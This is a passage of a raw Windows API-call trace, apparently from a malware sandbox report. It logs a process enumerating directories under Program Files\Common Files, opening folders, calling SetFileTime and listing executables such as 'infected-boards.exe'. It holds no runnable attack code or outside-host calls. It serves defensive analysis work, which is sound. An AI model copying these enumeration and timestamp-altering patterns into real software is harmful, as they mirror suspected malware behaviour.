dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.303] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0045.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.303] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0045.303] GetLastError () returned 0x12 [0045.303] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0045.303] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0045.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.304] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0045.304] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0045.304] GetLastError () returned 0x12 [0045.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0045.304] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0045.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.304] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33baff60, ftCreationTime.dwHighDateTime=0x1d5c182, ftLastAccessTime.dwLowDateTime=0x56d18220, ftLastAccessTime.dwHighDateTime=0x1d54de8, ftLastWriteTime.dwLowDateTime=0x56d18220, ftLastWriteTime.dwHighDateTime=0x1d54de8, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="")) returned 1 [0045.304] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd36c210, ftCreationTime.dwHighDateTime=0x1d5ab08, ftLastAccessTime.dwLowDateTime=0xb2c530b0, ftLastAccessTime.dwHighDateTime=0x1d56f97, ftLastWriteTime.dwLowDateTime=0xb2c530b0, ftLastWriteTime.dwHighDateTime=0x1d56f97, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="infected-boards.exe", cAlternateFileName="")) returned 1 [0045.304] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb731b8a0, ftCreationTime.dwHighDateTime=0x1d5625c, ftLastAccessTime.dwLowDateTime=0x25710030, ftLastAccessTime.dwHighDateTime=0x1d5a2c4, ftLastWriteTime.dwLowDateTime=0x25710030, ftLastWriteTime.dwHighDateTime=0x1d5a2c4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="kindsbradwindsor.exe", cAlternateFileName="")) returned 1 [0045.304] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0045.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.304] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0045.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.304] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0045.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.304] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0045.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.304] NtClose (Handle=0x160) returned 0x0 [0045.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0045.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0045.304] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0045.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0045.306] GetLastError () returned 0x12 [0045.306] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f80 [0045.306] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.306] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.306] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0045.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 